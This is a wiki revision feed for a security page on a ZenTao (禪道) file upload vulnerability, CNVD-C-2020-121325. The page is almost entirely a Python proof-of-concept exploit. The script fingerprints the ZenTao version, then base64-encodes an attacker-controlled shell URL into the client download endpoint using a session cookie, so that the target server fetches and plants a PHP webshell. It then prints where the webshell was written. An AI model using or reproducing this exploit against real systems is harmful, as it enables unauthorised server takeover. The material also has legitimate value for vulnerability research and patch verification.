<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CNVD-C-2020-121325_%E7%A6%AA%E9%81%93_%E5%B0%8F%E6%96%BC12.4.2_%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E</id>
	<title>CNVD-C-2020-121325 禪道 小於12.4.2 文件上傳漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CNVD-C-2020-121325_%E7%A6%AA%E9%81%93_%E5%B0%8F%E6%96%BC12.4.2_%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CNVD-C-2020-121325_%E7%A6%AA%E9%81%93_%E5%B0%8F%E6%96%BC12.4.2_%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-05T18:17:23Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CNVD-C-2020-121325_%E7%A6%AA%E9%81%93_%E5%B0%8F%E6%96%BC12.4.2_%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=1568&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from   : http://wiki.peiqi.tech  import base64 import requests import random import re import json im...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CNVD-C-2020-121325_%E7%A6%AA%E9%81%93_%E5%B0%8F%E6%96%BC12.4.2_%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=1568&amp;oldid=prev"/>
		<updated>2021-04-13T02:00:07Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from   : http://wiki.peiqi.tech  import base64 import requests import random import re import json im...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
#-*- coding:utf-8 -*-&lt;br /&gt;
# author : PeiQi&lt;br /&gt;
# from   : http://wiki.peiqi.tech&lt;br /&gt;
&lt;br /&gt;
import base64&lt;br /&gt;
import requests&lt;br /&gt;
import random&lt;br /&gt;
import re&lt;br /&gt;
import json&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
def title():&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')&lt;br /&gt;
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')&lt;br /&gt;
    print('+  \033[34m公众号 : PeiQi文库                                                \033[0m')&lt;br /&gt;
    print('+  \033[34mVersion: zentao version &amp;lt;= 12.4.2                                 \033[0m')&lt;br /&gt;
    print('+  \033[36m使用格式: python3 CNVD-C-2020-121325.py                             \033[0m')&lt;br /&gt;
    print('+  \033[36mUrl         &amp;gt;&amp;gt;&amp;gt; http://xxx.xxx.xxx.xxx                             \033[0m')&lt;br /&gt;
    print('+  \033[36mShell       &amp;gt;&amp;gt;&amp;gt; http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址)       \033[0m')&lt;br /&gt;
    print('+  \033[36mZentaosid   &amp;gt;&amp;gt;&amp;gt; xxxxxxxxxxxxxx(cookie字段)                          \033[0m')&lt;br /&gt;
    print('+------------------------------------------')&lt;br /&gt;
&lt;br /&gt;
def POC_1(target_url):&lt;br /&gt;
    version_url = target_url + &amp;quot;/www/index.php?mode=getconfig&amp;quot;&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
    try:&lt;br /&gt;
        response = requests.get(url=version_url, timeout=20, headers=headers)&lt;br /&gt;
        version = json.loads(response.text)['version']&lt;br /&gt;
        print(&amp;quot;\033[32m[o] 禅道版本为:{}\033[0m&amp;quot;.format(version))&lt;br /&gt;
&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 获取版本失败 \033[0m&amp;quot;, e)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def POC_2(target_url, shell_url, zentaosid):&lt;br /&gt;
    options = shell_url.split(&amp;quot;://&amp;quot;)&lt;br /&gt;
    if options[0] == &amp;quot;http&amp;quot;:&lt;br /&gt;
        shell_url = &amp;quot;HTTP://&amp;quot; + options[1]&lt;br /&gt;
    elif options[0] == &amp;quot;ftp&amp;quot;:&lt;br /&gt;
        shell_url = &amp;quot;ftp://&amp;quot; + options[1]&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 请使用正确的请求地址 \033[0m&amp;quot;)&lt;br /&gt;
        sys.exit(0)&lt;br /&gt;
&lt;br /&gt;
    headers = {&lt;br /&gt;
        &amp;quot;User-Agent&amp;quot;: &amp;quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&amp;quot;,&lt;br /&gt;
        &amp;quot;Cookie&amp;quot;:&amp;quot;zentaosid={}&amp;quot;.format(zentaosid)&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')&lt;br /&gt;
    vuln_url = target_url + &amp;quot;/www/index.php?m=client&amp;amp;f=download&amp;amp;version=test&amp;amp;link={}&amp;quot;.format(shell_url_base)&lt;br /&gt;
    print(&amp;quot;\033[32m[o] 请求漏洞url：{}\033[0m&amp;quot;.format(vuln_url))&lt;br /&gt;
&lt;br /&gt;
    try:&lt;br /&gt;
        response = requests.get(url=vuln_url, timeout=20, headers=headers)&lt;br /&gt;
        if &amp;quot;保存成功&amp;quot; in response.text:&lt;br /&gt;
            print(&amp;quot;\033[32m[o] 成功写入Webshell，URL地址为：{}/www/data/client/test/Webshell_name.php\033[0m&amp;quot;.format(target_url))&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;\033[31m[x] 恶意文件下载失败 \033[0m&amp;quot;)&lt;br /&gt;
    except:&lt;br /&gt;
        print(&amp;quot;\033[31m[x] 恶意文件下载失败 \033[0m&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    title()&lt;br /&gt;
    target_url = str(input(&amp;quot;\033[35mPlease input Attack Url\nUrl   &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    shell_url  = str(input(&amp;quot;\033[35mShell &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    zentaosid  = str(input(&amp;quot;\033[35mZentaosid &amp;gt;&amp;gt;&amp;gt; \033[0m&amp;quot;))&lt;br /&gt;
    POC_1(target_url)&lt;br /&gt;
    POC_2(target_url, shell_url, zentaosid)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==參考==&lt;br /&gt;
http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/%E7%A6%85%E9%81%93CMS/%E7%A6%85%E9%81%93%20%E5%B0%8F%E4%BA%8E12.4.2%20%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%20CNVD-C-2020-121325.html&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>